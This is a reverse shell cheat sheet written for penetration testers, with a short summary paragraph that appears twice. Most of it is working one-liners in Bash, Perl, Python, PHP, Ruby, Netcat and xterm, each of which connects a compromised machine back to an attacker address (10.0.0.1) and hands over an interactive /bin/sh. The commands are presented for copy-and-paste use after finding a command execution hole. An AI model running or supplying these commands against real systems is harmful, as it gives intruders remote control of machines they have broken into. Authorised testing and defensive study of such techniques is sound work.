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Reverse Shell Cheat Sheet

This document provides code examples for creating reverse shells on Unix-like systems in various scripting languages such as Bash, Perl, Python, PHP, Ruby, and Netcat. It also includes an example using xterm to create an X11 reverse shell. The reverse shells connect back to the attacker's machine to provide an interactive shell session.

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Reverse Shell Cheat Sheet

This document provides code examples for creating reverse shells on Unix-like systems in various scripting languages such as Bash, Perl, Python, PHP, Ruby, and Netcat. It also includes an example using xterm to create an X11 reverse shell. The reverse shells connect back to the attacker's machine to provide an interactive shell session.

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REVERSE SHELL CHEAT SHEET

If youre lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards youll probably want an interactive shell. If its not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former. Your options for creating a reverse shell are limited by the scripting languages installed on the target system though you could probably upload a binary program too if youre suitably well prepared. The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute /bin/sh -i with cmd.exe. Each of the methods below is aimed to be a one-liner that you can copy/paste. As such theyre quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL
Heres a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("t cp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(S TDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Theres also an alternative PERL revere shell here.

Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.c onnect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesnt work, try 4, 5, 6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which dont support the -e option.
nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1

Youll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

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